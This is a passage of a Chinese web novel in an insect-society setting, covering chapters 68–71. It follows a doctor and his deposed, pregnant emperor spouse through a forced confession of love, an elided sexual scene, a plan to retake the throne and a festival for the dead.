诊所内的气氛也随着这个话题冷了下来。 “节哀……” “对了,你还记得之前述职会议结束后,小弗出去执行的秘密任务吗?”奥古斯特生硬的转移了话题,但这的确是西奥更加关心的事情。只是他没想到奥古斯特会愿意主动谈起这些事情。 ——这些他曾以为与自己再也无关的事情。 “是什么?”西奥问, “他在追查弗雷德的死因。” 这个出乎意料的答案让西奥愣住了,“你说——什么?!” “查到了吗?是谁干的?!” “弗雷德当年的发病可以说突如其来,毫无征兆。小弗根据一个眼睛的图案找到了揪出了那根线头。简单来说,当年弗雷德很可能是购买并注射了非法的精神力药物,才给了对方可乘之机。至于这背后的虫,有两个。或者也可以说只有一个。” “现任虫皇,曾经的第三军团长罗森塔尔,以及他所大力支持宣扬的虫神教。” 奥古斯特停下,等待着西奥的反应。雄虫沉默了好一会儿,才说,“所以,当年阿弗生病了,但我们都不知道?他不得不自己想办法去治疗?” 听到这个问题的奥古斯特沉默了。 “等下,你说虫神教有问题,小弗的那个男友,不就是虫神教的圣子吗?!他现在在哪?”西奥再次抓住了另一个重点。 “他倒是没有问题。小弗能查到罗森塔尔也是凭借他提供的线索。但有所隐瞒是肯定的。目前虫还在第一军团,这点上,我相信小弗的判断和能力。” “所以,你去过第一军团!”西奥的声音冷静沉稳,“至少在被篡位之后,你跟小弗有过联系,否则不会知道的这么清楚。” 奥古斯特梗了一下,立刻知道自己被诈了。但他本就对西奥没有什么防备,被套出来之后索性点头认了,“是,我跟小弗有过联系。” “所以,你并没有一无所有、走投无路。你来到这里,不是因为不得不,而是你做出的选择。”现在回想起来,西奥当初问奥古斯特是否孤立无援的时候,雌虫根本没有正面的回答。只是说了一些对于己方势力非常不利的情况。 有些话并不是谎言,但却依旧能够修饰真相的形状。 这个狡猾的军雌! “所以你到底为什么来这里呢?”西奥逼近雌虫,精神力触手般缠绕上奥古斯特的脖颈,缓慢收紧。语言控制混杂着精神力潮水般倾轧而下,在这种突如其来的掌控和威胁之下,奥古斯特汗毛倒竖,浑身肌肉瞬间绷紧,他咬紧了牙关,跟自己强烈的服从本能做着拉扯和对抗。 “回答我的问题!”西奥继续命令,“不许说谎,不许思考,遵从自己的直觉!” “呃……”奥古斯特戴了深色美瞳的眼珠开始不受控制的震颤,然后终于在某个片刻,突破了极限,眼神陡然变得涣散无神,失去了所有的光泽和抵抗。 “因为……”他说。 因为什么?因为虫蛋?因为信息素?因为你有什么巨大的阴谋而我是其中不可或缺的一环?用尽全力的西奥屏住呼吸,紧张地等待一个真切的答案。 “因为……我没有办法停止爱你。” 作者有话说: 西奥:wtf???老婆竟然真的爱自己 第69章 第69章生活[VIP] 在感受到西奥精神力的瞬间, 奥古斯特就知道,糟了! 但为时已晚,他已经动弹不得。只能被迫接收来自西奥的海啸般的精神力, 以及听着那犹如滚滚惊雷的声音质问:“所以你到底为什么来这里呢?” 既然西奥根本没有感染,奥古斯特也没打算隐瞒。他只是很害怕, 在过于坦诚的逼问之下, 自己会吐露曾经所有的不堪。 对不起, 我堕落扭曲, 脆弱丑陋, 自私暴力, 我将你视作我唯一的救命稻草, 不肯放开。 如果西奥知道,他会怎样看待自己呢? 他已经失望过、离开过,甚至现在也在试图赶走自己了。 不、不可以暴露那些…… 太阳穴处传来阵阵拉锯般的疼痛, 然后在某个时刻,他陡然坠入了深海! 周围是全然纯粹的蓝, 闪动着明亮的光。奥古斯特只觉得浑不着力,一切都失去存在和意义, 疼痛、焦虑和害怕都消失了, 只剩下全然的安心和舒适, 仿佛回到了最初的蛋壳,不必思考,只需生存。 他漂浮、游荡、分解又再次重组, 一时成了物理中最微小的分子,一时又膨胀成了阿尔法星系那样的庞然大物…… 然后他听到自己说: …… 奥古斯特猛地浮出了水面!重量、存在和感官, 一一再次回归,却因为太多而严重过载。大脑嗡嗡作响, 眼前闪烁着白色的斑块,雌虫大口地喘着粗气,努力从刚才那种飘忽的感觉当中缓过来。 西奥担心地在旁边帮他轻抚后背,“没事吧?” 视野重新稳定后,奥古斯特偏头看向雄虫,“刚才……那是怎么回事?!” “应该就是语言控制的加强版吧,我也没做什么别的。”西奥一脸无辜。 “我说什么了吗?” 这次惊讶爬上了西奥的脸庞,“你不记得了?” 糟糕——奥古斯特闭上眼睛,试图回忆在刚才那段异常诡异的经历当中是否有听到什么声音,但无论他怎么回想,那片深海里都只有一片宁静,和安心。 他到底说了什么呢?是西奥问的那个问题的答案吗? “不管我说了什么……你都不必当真。” 西奥挑了挑眉,“你的意思是,其实你说的不是真话?” “不,当然是真话。但你要知道语言这种东西,从来都只是主观的感受。”奥古斯特尽量保持语调的平稳,他看向西奥,想从他的表情里面得到一点答案或者线索,“不代表客观的事实。” 西奥只是轻轻笑了一下,“你说的对。” 奥古斯特完全没办法从他的反应当中猜出什么,“所以,我到底说了什么?” “既然不必当真,那也不必说了吧。”之前说过的话变成了回旋镖打在了雌虫自己身上。 正好这时候下午的病虫也来了,于是休息结束,继续工作。 不知道是不是错觉,奥古斯特总觉得西奥今天似乎心情不错。无论面对如何难搞的病患,都能微笑着开出处方。 不管奥古斯特到底说了什么,似乎都起到了某种积极的效果。 …… 傍晚,天还没黑,小诊所就提前挂上了歇业的牌子。 房门紧锁,窗帘也被拉上。诊室内一片昏暗,西奥正坐在椅子上,微微仰头。喉结滑动,额头已经渗出了一层细密的热汗。 在他身前,正跪着一个雌虫。 一片寂静当中,细微的声响也格外清晰。 临近下班的时候,奥古斯特突然说肚子疼,需要信息素。这也是说好的事情,西奥没想不给,但是,“马上就回家了,不能等回家吗?” 不能。 西奥把手放在雌虫微微隆起的腹肌上,确实感受到一些轻微的抽搐。虽然离家不远,但总归也需要十几分钟。奥古斯特发作时有多难受,他是见过的。权衡片刻,便也同意了。 只不过,等等雌虫真的跪下。西奥心里又生起那么一点……羞耻。 毕竟是自己办公的地方,干这种事情,就算确实算医疗需求,但合适吗? 西奥眼神乱飘,试图通过观察药柜来分散自己的注意力。嗯,克林宁试剂快要没了,是不是该去进点货…… 但很快,他就无法思考了。那点羞耻和担忧迅速被吞噬,像一粒沙子落入海洋,连个声响都没听到就消失了。 “草……”西奥低声骂了一句。 这不是第一次,也不会是最后一次。甚至就在前几天晚上,他还在睡梦当中被雌虫偷了一回。 但这确实是他们重逢之后,实实在在清醒情况下的第一次。昨晚那次用的只是血液。 西奥很难形容自己现在的心情,但至少他的身.体很是怀念这种感受的。亲密无间,彼此交融…… 尤其是在得到了那样的答案之后。 他是真的没想到会问出这样的结果。 奥古斯特说的没错,他的答案只是一种主观感受。但很多时候,我们能够拥有的那点爱意,也仅仅只是一种主观感受。 所以奥古斯特,你到底是怎么想的? 你为什么,表现得如此别扭呢? 不管前任虫皇到底怎么想,但至少做得非常用心。他一定用了很多的技巧,甚至可以说是在讨好,也不为过。 如果只是为了得到信息素,不必做到这个地步。 西奥闷哼一声,不自主攥紧了雌虫后脑的头发。然后,被一下到底。 但就在快要…的时候,西奥扯着他的头发拽了出来。 他看向一脸茫然的雌虫,嘴角还带着湿痕。然后拍了拍自己的大腿,说,“上来。” 这句话没有用上精神力,不是一条命令,而是一句商量。于是奥古斯特没有动,他仰头看向西奥,似乎还在理解这句话的意思。 “内敷比口服的效果要好。”西奥叹了口气,“上来吧。” 这次奥古斯特听明白了。 雌虫身形本就要更高一些,坐在腿上之后,形成了一个明显的身高差。距离太近,就算偏了头,也能闻到鼻端隐约的奶香味。西奥眼神暗了一瞬。 雌虫大腿绷出了清晰有力的线条,稍微踮起脚尖,在“坐”的同时,很小心的没有将任何重量压在西奥身上,只用一只手扶了下旁边的桌沿。是非常费力且难以维持平衡的姿势。 他的伤恢复很快,但是骨折绝对不可能现在就愈合,小腿上就有一处。这样的姿势、发力,不会疼吗? 西奥抬头,盯着雌虫汗湿的鬓角——也不知道是疼的还是爽的——沉默了几秒,最终还是妥协了。他握住了雌虫劲瘦结实的腰,“没关系,你又不会压坏我。” 奥古斯特没有立即动作,他低头看着雄虫,“为什么……” “你这样太费力了……” “为什么不马上给我?” 刚酝酿出来的那点柔情泡泡,啪!的一下碎掉了。在他想着如何让雌虫舒服一点的时候,却发现对方只在乎结果和功效! 西奥握着雌虫的腰,用力!伴随着“呃——!”的一声,雌虫费力保持的平衡终于被打破了。 他撞上了奥古斯特的胸膛,柔软、饱满、孕育乳汁的地方。两个成年虫的重量压在了一把简单的塑料椅子上,椅子腿向后滑动,发出了嘎吱——的一声。 “你不是想知道,刚才说了什么吗?”西奥搂住雌虫的脖子向下压,凑到他耳边,带着点咬牙切齿说,“我刚才问你,为什么要回来。你说……” “你说,你是回来找……的!”与此同时,再次出击! “……!!”雌虫这下彻底失去了平衡,只能抓住西奥的肩膀勉强维持。更多的重量、接触、和温度。沉甸甸落入怀中。 这话其实不好听,甚至可以说的上是侮辱,几乎是在出口的下一秒,西奥就后悔了。他以为雌虫一定会生气,但当他看过去的时候,不仅没有看到黑眼睛里的怒火,甚至还看到了隐约的笑意。 “是。”前任虫皇答,“我是。” …… 大部分时候,西奥自认理智,他是一个唯物主义者,科研从业人员,他认同科学即是真理,也同意理智高于情感。在绝大多数的时间里,他也以身作则,践行着这一真理。 但少部分时候,他依旧会被动物性的本能控制,失去控制和理智,遵从本能的直觉行事。简称,小蝌蚪上头。 他好像……有点过了。 一次短暂快速的信息素摄取,怎么都不该弄得满地狼藉。他觉得这次确实是他的问题比较大,他和奥古斯特的责任……七三分吧。他七。 结束后,奥古斯特也没说什么,只是默默打扫,仿佛刚才炽烈的风暴和纠缠,从来没有发生过一样。 西奥恍了一会儿,也加入了收拾的行列。 晚上的诊所营业直接被取消了。 …… 生活再次回归一种诡异的平静。甚至跟他离开皇宫之前没有太大的区别。只是大房子换成了小出租屋,大办公室变成了小诊所。甚至因为奥古斯特不再是虫皇,他们俩还有了大量的共处时间。 收留一个雌虫,可不像收留一个潘德兽那样简单。不仅是管吃管住,生活当中更是多了许多无法忽视的痕迹。 每天早晨,西奥是在早餐的香味中醒来的。自从奥古斯特留下后,雌虫就主动包揽了做饭这一家务,在这间小小的出租屋里变着花样做出一日三餐。西奥本来没对雌虫的厨艺做任何期待,毕竟那可是虫皇,怎么可能花时间在做饭上呢?但在看到煎的金黄的蛋卷后,还是被深深震撼了一下。 柔软嫩滑,里面还有热乎的流心。跟皇宫里那些精致的菜肴不太一样,但是已经足够的饱腹和美味了。成功把他从稀粥和廉价乏味的营养液里拯救了出来。 声明一下,西奥并不是不会做饭,他只是……没有时间。 然后一点一滴的,除了三餐,奥古斯特也顺便包揽了一些其他的事情,打扫、收拾、整理、给科特鼠喂食,甚至采购药物。西奥一开始还盯着他,几次之后没有任何异常,便也随他去了。总归跑得了雌虫跑不了信息素,奥古斯特只要还没生,就仍然需要他。 于是,伴随着电视里关于阿凯特斯香料能源进一步上调价格的新闻,房子里便经常出现这样的对话。 “雨伞放到哪里去了?” “头顶中间的柜子里。” “卡拉汀试剂呢?” “你脚边的箱子里。” “今晚吃什么?” “红烧鱼。” 以及,“我需要一点信息素。” “来了!” 等西奥反应过来的时候,奥古斯特已经丝滑融入了本地的生活,简直如鱼得水。甚至还跟文森特成为了好朋友。 跟之前相比,这样的生活平凡普通,甚至有些无聊,却让西奥感到平静而幸福。 奥古斯特跟文森特一大一小两个虫撅着屁股在灌木丛里放生潘德兽的时候,西奥很想走过去挨个揉他们的脑袋。 好想一直这样下去啊…… 但西奥知道,这一切都只是暂时的。他问过奥古斯特之后的打算,具体细节并不清楚,只知道大概的时间。 “生完蛋之后再说。”奥古斯特答。 身为曾经的虫皇,又怎么可能甘心做一个普通虫呢?所以这只是一段……一段过度罢了。 西奥看向奥古斯特,以及他左手上戴着的两枚婚戒。他们依旧是离婚的状态,他也终归会离开。一个帝王的爱意,能做到这个程度,大概可以算很不错了吧? 除非……西奥低下头,除非,自己阻止他。 …… 这天晚上,西奥出门了,奥古斯特一个虫在家收拾衣服的时候,门锁突然响了。 来虫没有敲门,而是选择了撬锁。 奥古斯特悄无声息放下衣服,躲到了门后。 一只制式军靴踏入房内,与此同时,闯入房内的还有一把手枪。 作者有话说: 感谢看到这里的每一个宝宝。被迫修改了还是 第70章 第70章计划[VIP] 四年前, 首都星。 “阿凯特斯星区的能源,要撑不住了吧!” 奥古斯特头也没抬,“能源方面的事情, 好像不归你管。” “不归我管的事情都能被我发现问题,是不是说明这事儿很大?” 奥古斯特把手上的这份文件看完, 写了几行批注, 这才把光屏放下, 看向面前肆意闯入他办公室的军雌, “你到底想问什么?” “吃饭了吗?” “什么?”奥古斯特一愣。 “我问你, 吃晚饭了没有?”军雌绕过办公桌, 来到奥古斯特身边, 一下子把上下级的距离都压缩没了,“最近事情很多,第三军团那边还没解决, 你是不是没留出时间吃饭?” 奥古斯特挑了下眉,“那你吃了吗?” “当然, 小弗帮我带的,超好吃的拌饭!羡慕吗?” 奥古斯特对此不置可否。 “饭还是要吃的, 否则我就告诉雄父。” 奥古斯特脸上的坦然终于消失了, 他皱起眉头, 叹了一口气,举起手示意自己投降。“别跟西奥说,弗雷德……”然后保证道, “我会吃的。” “我会盯着你的。”弗雷德毫不客气,然后把话题拉回正事上, “所以,阿凯特斯星区的能源马上要用光了这件事, 你是什么时候发现的?” “也不至于马上,至少还能撑个几年吧。而且,还有一些存货。” “是吗?” 奥古斯特终于正色,思考了一下,“大概是二十几年前吧。” “二十几年?!”弗雷德震惊,“所以帝国刚刚成立的时候,你就已经知道了?!” 他迅速反应过来,“所以这些年,对于阿凯特斯香料的严格管控和逐步涨价,并不是因为你想多赚钱,而是那时候就已经知道没货了?” 在帝国统一之前,阿凯特斯星区以及相关的香料交易,一直都被莫德家族掌控。在过去的几百年间,香料的价格一路水涨船高,让星际航行、尤其是跨星区的跃迁航行,昂贵到了普通虫难以承受的程度。也因此,各类星舰的体积一直在缩小,往灵巧化和节能化方向发展。大型星舰逐渐减少,直到完全消失。 一千年前,虫族最大的星舰是伊厄森号。 一千年后,这个记录的保持者仍然是它。 也有虫认为,这跟光脑的全面禁止和销毁脱不了关系。甚至曾经一度出现过恢复光脑的热潮。不过最终还是平息了下来。 时间来到现在。能源依旧昂贵,依旧稀有。莫德家族也在过去几百年间凭借着阿凯特斯能源的生意,敛下了巨量的财富,购买大量武器,进行基因筛选,建设精英部队。 一环扣一环,阿凯特斯的香料,仿佛就是最底层的罪恶之源。 但直到奥古斯特统一分裂的虫族,真正亲手接管阿凯特斯星区的设备和生意之后,才发现这是多么棘手的一堆烂摊子。 香料的储备总量是一定的,而在过去一千多年里,经过持续不断的开发和破坏,能够正常开采使用的能源矿已经所剩无几。 如果继续按照当时的消耗速度,恐怕短短几年,阿凯特斯星区就要被吃空了。 也是那时候开始,奥古斯特开始全力支持精神力能源化的研究。西奥的研究院就是其中很重要的一个平台。 这件事情的起点是好的,希望能够找到一个可替代的、并且再生的能源。但因为雌虫的精神力提取技术不够安全和成熟,而阿凯特斯能源一直限量且昂贵,事情又走向了另一个极端。 大量的雌虫被明码标价,当成了活体能源进行售卖。 这二十几年,奥古斯特一直严格管控阿凯特斯能源的交易数量,也出台了一些法案管控大型的能源消耗设置。在这种严格的节流模式下,阿凯特斯星区的能源问题才一直没有暴露。 但是这种事情,糊弄外面的虫容易,毕竟一些具体的数据都是严格保密的。但内部的军雌,比如弗雷德这种级别和身份的虫来说,想要查清楚阿凯特斯香料存储的真实现状,就变得容易很多了。 于是,面对弗雷德质问,奥古斯特没有否认,“你有什么建议吗?” “我打算提出一项关于精神力能源化的答案,你看看?” 一份法案摘要被递到了奥古斯特跟前。 他扫了几眼,立刻皱起眉头,“你要全面禁止?如果失去了雌虫作为能源的非法渠道,阿凯特斯能源的消耗速率难道不会急剧升高吗” “不会。”弗雷德摇摇头,“因为这太贵了。” “亏本的买卖,是不可能长久的。”弗雷德分析道,“而且过去几年,哪怕我们有皇家精神力研究院,院里有雄父这个超级大挂,在雌虫精神力的研究方面,却还是比不上第三、第四军团。” “为什么?”弗雷德提出问题,然后做出解答,“因为这是他们的迫切解答。” “你是想用这种方法,倒逼科研的进步。”奥古斯特没有对此做出任何评判,只是倾听。 “是。而且我想,这样成功的概率会更大。” “那你考虑过这样做的风险吗?”奥古斯特追问,“如果你是第三军团长,你的能源要被切断了,你是会选择按部就班的研究,还是干脆孤注一掷?” “我知道——”弗雷德说,“你是想说战争的风险,对吗?” “但同样,打仗也是需要花钱和消耗资源的。没有阿凯特斯香料,那些精锐的星舰,只是一堆不能动的大铁块!所以,这同样是个亏本的买卖。只要你和萨迦还在,第三军团、第四军团,就不会轻举妄动,因为他们承担不起失败的风险。”弗雷德振振有词,“这确实是个苦胆,但他们也不得不吞下去!” 奥古斯特垂眸,指尖轻轻点着桌面,没有说话。 “当然,我还顺便给这件事情加了个保险。”弗雷德继续说,“我把这个法案拿给雄父看了,让他帮忙预测了一下大家的反应。” 奥古斯特抬头看向自己的虫崽,“西奥怎么说?” 弗雷德笑了笑,没有说话。 “行吧。”奥古斯特终于被说服了,“这项法案——可以试试。” “但别着急,先放出口风,试探一下各方的态度再说。” 但这项法案,最终还是没能由弗雷德亲自提出。 如果奥古斯特知道这项法案会间接导致弗雷德的死亡,他一定不会同意这项提案。他只是很困惑,他看不到未来,但是西奥可以,为什么他没有阻止弗雷德呢? “预知,并不代表全能。”西奥说。 弗雷德的死亡,意外或者谋杀,永远是一道裂缝,一道深渊,横亘在他的生命中,横亘在他和西奥之间。 四年后。精神力能源化的问题以一种奇异的方式的得到了新的解法,与此同时,曾经的法案也终于得以通过。 唯一的问题是,他们错估了对方的反应。 没有忍气吞声,而是选择了孤注一掷。 但那个最大的问题,最严重的能源危机,此时此刻,也成为了一个完美圈套的诱饵。 “我们仍然有机会反败为胜,只是,可能需要做出一些牺牲。” 当然,这个计划中途也出了岔子。其中就包括西奥毅然决然的离开,以及离开前对奥古斯特猝不及防的重创。 奥古斯特经历了一次出生以来最严重的精神力动荡。本就因为感染检测、拯救飞船这些事情接近耗竭的精神力,再加上西奥致命一击的这根稻草之后——险些真的被压垮! 差那么一点点,就差那么一点点——他就要被迫进入卵化了。 卵化是极端情况下的一种保命手段。组织打碎、重新生成,一旦卵化,肚子里还没成型的虫蛋肯定要没了! 但拒绝卵化的后果是显然而直接的。奥古斯特的精神力等级跌落、陷入半昏迷状态。他的精神力再也不似山海那样磅礴,而是变成了潺潺小溪,虚弱、但依旧坚硬。 也因此,原本制定的假意放弃首都星的计划,就这样阴差阳错,被迫成了真。 皇家护卫队化整为零,潜伏隐藏,护卫着奥古斯特离开,逃亡。 而在遥远的K星区,刚上任没多久的第一军团长弗莱特,顶住了所有的压力,守住了基地。 这是一个墙倒众虫推的时代。在首都星沦陷、新任虫皇罗森塔尔宣布上位之后,各方的势力纷纷倒戈。包括曾经的盟友第二军团。 一切都很糟糕的同时,另一项计划却在平稳推进当中。 罗森塔尔占领了阿凯特斯星区,开始大肆使用曾经被严格管控的能源,给他的星舰和武器进行充能。大概是胜利的喜悦太过强烈,他没有发现能源耗竭的危机。 首都星沦陷三个月后,双方陷入僵持和停滞。罗森塔尔占领了帝国大部分的星域,宣布了多项新的法令,但同样,一时没办法找到躲藏中的奥古斯特,也没办法攻陷由弗雷德控制的第一军团。 一艘配备了最新型号光脑的超大型星舰开始建造。能源进一步被肆意挥霍的同时,奥古斯特终于醒了。 他面对的,是已经改朝换代的虫族帝国,以及危机四伏的潜逃。 但只要他还活着,皇家护卫队就永远效忠。 他跟弗雷德取得了联系,制定了一项新的计划。这项计划简单到令虫发指,可以用一个字来概括总结,那就是——等。 等罗森塔尔将所剩不多的阿凯特斯香料用完,等他所有的星舰和武器都因为失去能源而变成一堆废铁,甚至迫于压力不得不使用自己的军队作为活体能源—— 那时候,就是他们反击的时候! 堪称釜底抽薪,绝地反击! 至于现在,至于此刻……奥古斯特旋转了一下无名指上的婚戒,“我必须,要把自己的雄主追回来!” …… 坎斯特星,一间平平无奇的公寓内,治安官维克多正手持枪支,悄然潜入。但还没走两步,身后的房门嘎吱一声合上了,与此同时,一根锋利的精神力丝线缠绕上他的脖颈。 “别动。”一个虫在他身后说,“放下枪,缓慢地转过身来。” 维克多依言照做,然后在跟房内的雌虫打了个照面后,立刻跪下了,“皇家护卫队少校维克多·休斯,参见陛下!” “陛下,阿凯特斯星区传来的消息,说罗森塔尔已经发现了能源耗竭的事情,正大发雷霆!请您速速回归!” 作者有话说:《 》 70-80 第71章 第71章亡魂[VIP] “今天早晨吃什么?”西奥问。他坐在床边, 晃着脚,看向狭窄厨房里只穿着一件围裙忙碌的雌虫。 奥古斯特看了一眼手边的食材,“青菜豆腐汤怎么样?” 西奥摇头, “想吃肉。” 奥古斯特想了想,“好, 那就吃肉片青菜豆腐汤。” 这是一个平平无奇的早晨。跟过去的几十天没有任何区别。但等奥古斯特把汤端到桌子上, 开口的那一瞬间, 就注定这是不平凡的一天。 “我今天要把蛋生下来。”他说。 西奥舀汤的动作顿时停住了。“预产期不是还有几天吗?”他装作不经意问。 “相差几天也很正常。腹部感觉有些坠, 应该要生了。” 西奥继续该吃吃该喝喝, “等吃完饭, 我帮你检查一下吧。” 每个雌虫的身体情况不同, 孕期也有长有短。这就导致了生出来的虫蛋存在不小的尺寸差距。从鸡蛋大小,到鸵鸟蛋大小都是有的。 而奥古斯特已经怀孕六个多月了,虫蛋算是时间久、尺寸大的一款, 好处是虫崽的发育也会更完善。不过虫蛋越大,也就代表着生产会愈发困难。毕竟甬道的尺寸可不会改变。 最近蛋壳已经逐渐硬化, 隔着腹肌都能够看到清晰的虫蛋突起。但即便腰围因为怀孕增加了不少,因为过于壮观的胸肌, 雌虫依旧维持着非常完美的倒三角身材。真是令人羡慕的基因。 西奥把内窥镜插进去, 观察了一下宫口的情况, 那上面还残留着一部分昨晚的信息素,但好在不影响视野,“完全没有要打开的迹象啊……” 然后又用棉签戳了两下, “有什么感觉吗?” “呃,有点疼。” “疼痛等级从0到10。 0是完全不痛, 10是痛到无法忍受,现在的疼痛等级是多少?” “大概2左右。” “那应该没什么事, 你今天生不了蛋。”西奥开始收拾东西,“放宽心再等等吧。” “而且今天有个本地的亡灵节,我们可以一起去参加活动……” 但就在西奥准备离开的时候,却被奥古斯特拽住了手腕。他说:“我今天必须要把虫蛋生出来。” “强行生产对虫蛋不好的,这点你应该比我更清楚。”西奥说,“而且不光对虫蛋不好,你也会很难受。”那根本不是生产,是强行掏蛋。 “只差了几天,没什么关系。我知道诊所里有一些催产的药可以用。” 西奥盯着一脸认真的雌虫,沉默了好一会儿才说,“不,我拒绝。” “我需要尽快卸货。怀着虫蛋的话,行动很不方便。”奥古斯特说。 “你着什么急呢?你现在又不是虫皇,只是逃犯,而且你应该知道,这里是安全的。”西奥不仅知道,他还亲自去找默兹力确认了这一点。同时也意外得知,负责这颗小小星球外围警戒的军事力量,可不只有默兹力的海盗军团。“没有任何事情需要你立刻参与。” “还是说,你有什么我不知道的急事吗?” 听到这个问题,奥古斯特沉默了一下,然后坦白道: “弗雷德有个计划,要反攻首都星,重新夺回政权。” 奥古斯特原原本本把这个计划和盘托出,最后说,“所以我也要回去。” 西奥认真听了,“但这是弗雷德需要执行的计划,不是吗?按照你的说法,能源耗尽,第一军团现有的实力完全有能力独立夺回首都星,这个计划有你没你,结果都一样。” “所以,我再问一次,你一定要去吗?” 西奥是一个非常漂亮的雄虫,就连眉眼的弧度都带着温柔。即便经过了一些修饰,但也能够看出原本的面貌轮廓。他又总喜欢笑,总喜欢低声说话,即便作为一个手执执手术刀、时不时满手鲜血的医生,也依旧是令病患能够感受到安心的。但此刻他板起脸,嘴角绷紧,语气严厉,便也展现出了一丝不容置疑。 奥古斯特没有回答。话题再次中止。 但西奥很清楚,如果奥古斯特执意要走,他是拦不住的。 甚至他之所以要提前强行生产,就是为了能够自由的离开。 西奥只是、再一次强烈地清楚地意识到,对于奥古斯特来说,他只是雌虫的一部分。或许很重要,或许就像他说的那样,没办法停止爱自己,所以他可以为了自己浑身是伤的来到这个星球,但同样在另一些更加重要的时刻,比如现在,他也会毫不留情的将自己抛弃。他好像永远是第二选择,永远是退而求其次,永远有比他更重要的事情。在他的诸多身份之中,虫皇、元帅、雌君,雌君永远是排在最后一位的。 但与此相对应的,这个雌虫只要来到他的世界,就会占据他的所有的一切,让曾经的坚定的原则全部都消失不变,让他一次一次的原谅,一次一次的背叛自己。 凭什么呀?这好不公平啊! 他感到一种愤怒,迅速的充满了胸腔。热烈的鼓动着,燃烧着。他隐约感受到这当中的一点不公正和不理智,但同时—— 感情不从来就是不理智的吗?! 奥古斯特不也犯了更多的错误吗?! 他只有一个简单的要求,被坚定的毫不犹豫的选择一次,这难道就是错误吗?! 他不配得到这一点吗?! 门被狠狠带上,发出哐的一声。然后被上了锁。 但等到了傍晚,诊所工作即将结束的时候,节日的气氛愈盛,街道上都点起了骷髅形状的橘红灯笼。楼栋里、街道上的虫三三两两,结伴去蓝山上庆祝游玩。 热闹温馨的氛围让西奥的心又一点一点软了下来。反正一把锁也挡不住军雌离开的脚步,最多也就是把他们沟通的途径一并锁上罢了。 西奥回到家,一边唾弃自己一边开了门,主动招呼道:“一起出去走走吧?” 奥古斯特似乎一直在等他,“好。” 蓝山是坎斯特星上的一处地标。说是山,但其实更像是一处缓坡,南面是一大片长满了草坪的空地。在山顶上,有一处从不会干涸的地下泉。 “泉水是蓝色的。”西奥说,“也不知道为什么,反正就是那种特别好看的蓝色——”他看向身旁的奥古斯特,“就像你的眼睛那样。” “这就是蓝山名字的由来,因为它拥有一抹特别好看的蓝色。” 他们来到山脚下,融入拥挤熙攘的虫群,沿着露天的集市缓慢地溜达。有成双成对的情侣正亲昵依偎,有成年雌虫带着年幼虫崽逛街游玩,也有一堆朋友呼朋引伴,结伴前行。 好热闹啊…… 西奥忍不住抬头又看了一眼奥古斯特。雌虫依旧戴着口罩,还有一顶帽檐很低的帽子。这是他们外出时必要的伪装,但现在西奥觉得这似乎本就是奥古斯特的伪装,让他永远看不清楚。 西奥看着周围形态亲密脸上带笑的虫群,侧了侧身对奥古斯特说:“牵我的手。” 奥古斯特低头看了他一样,没有说话,也没有动作。 西奥一时都忘了是自己给他加了哑巴设定,刚要直接下命令,就听到一声:“法斯曼医生——” 是杜尔西,他也算诊所的老客户了,正牵着一串糖葫芦似的高矮不一的虫崽出来玩。他先是亲切跟西奥寒暄几句,“医生,你也来庆祝啊?前面有卖河灯的,各种形状的都有,潘德兽啊、机器人啊、星舰啊,什么都有,甚至还有超——大的伊厄森号!” 杜尔西手舞足蹈地计划着,手臂伸出老长,示意星舰的尺寸。 放河灯是亡灵节的一项传统。西奥也不禁被对方的热情所感染,笑着点头,“好,我们待会也去买一个!” 然后杜尔西又转向奥古斯特,这个他心中凄惨的被拯救了的怀孕雌奴,再次面露不忍,“你也好好玩!”甚至又塞了一枚硬币。 奥古斯特不能说话,要是能的话,估计高低得说两句:“我不是乞丐!” 但如今,雌虫也只能乖乖的收下硬币,冲杜尔西点头表示感谢。 “他说谢谢你。”西奥代替奥古斯特说。 “放心,以后你的虫生肯定会越来越好的!”杜尔西拍了拍奥古斯特的肩膀,然后在身后一个虫崽催促着要吃烤串的时候,着急忙慌领着他们又消失在了虫群中。 “去买河灯吧。”西奥说。 河灯都是手工做的,确实精巧细致,惟妙惟肖。潘德兽憨态可掬,机器人滑稽可笑,星舰则……很大,真的很大!杜尔西居然没有夸张! 当然,跟尺寸成比的也是它的价格。 好在,西奥从皇宫带出来的小金库还没用完。于是财大气粗地拿出两片金叶子,把唯二的两艘伊厄森号给包圆了。 于是,从河灯摊子离开的时候,他们一虫举着一个一米多的星舰,成为了虫群中最闪亮的那对崽。 “这里的虫相信,蓝色的泉水是能够通往死后的冥界的。所以每到亡灵节,他们就会挖开泉眼,把蓝色的泉水引到北面的河里,沿着河岸放下河灯,把我们的愿望和祝福也一并带到冥界。”一边走,西奥一边跟奥古斯特解释。 “走吧,我们找个安静的地方,把祝福语写好。” 他们举着星舰河灯走了好一会儿,才找到个远离虫群的僻静地方。河灯里提前准备好了纸条和笔,西奥还在思索到底写什么的时候,旁边的奥古斯特已经在奋笔疾书了。 “写的什么?”西奥偏头去看,却被奥古斯特侧了一下身,挡住了视线。“被看到就不灵了。” “哪有这个说法……”西奥有点想笑,但也没有强求。转而低头继续想自己的。 亡灵节,顾名思义,是一个怀念逝者的节日,只是要更加热闹些。因为这里的虫相信,即便死去,灵魂仍然会以某种方式在另一个遥远的世界继续好好生活。甚至有调皮的鬼魂会沿着染成蓝色的河水逆流而上,回到原本的家乡里捣乱,也被称为闹鬼。于是悲伤冲淡,欢乐得以继续。 这里的虫大多有种大大咧咧的乐观精神,跟这种死亡教育不无关系。 西奥忍不住也回想起自己身边去世的虫,萨迦、那些参与实验的志愿者们,以及……以及,弗雷德。他的虫崽。 “你说,”西奥小声说,“弗雷德会看到我们的河灯吗?” “他是在首都星出事的,离这里很远。那里的虫可不相信亡灵节这种事情,他有没有可能、找不到这里呢?” 奥古斯特看了他一眼,然后说,“一定可以的。” 西奥叹了口气,“但就算他能找到,能沿着河流回来,我又看不到他,更不知道他是什么样的虫……” “要是认不出来,那可怎么办?” 奥古斯特沉默半晌,“他总是喜欢站的笔直,小小年纪,还没有成为军雌的时候,就已经有了军雌的样子。” “他开心的时候叫雌父雄父,不开心的时候就变成了陛下院长。” “他五岁的时候磕掉一颗门牙,捂着脸偷偷哭了好久,后来发现分化后还能长出来才终于笑出来。” “他各项成绩都跟优异,唯独数学差了一点。每次只要考数学,前一天总是唉声叹气,甚至还要小弗帮他复习。” “他……” 奥古斯特说的话,前后没有任何关联,像是想到哪里说到哪里,都是一些不可能被记录在案的、只有家虫才会知道的细节。伴随着他的讲述,一个又一个细节,一块又一块碎片,将弗雷德——真正的弗雷德——的样貌栩栩如生呈现在了西奥面前。 不完美,不全面,但至少听起来,像个活虫了。 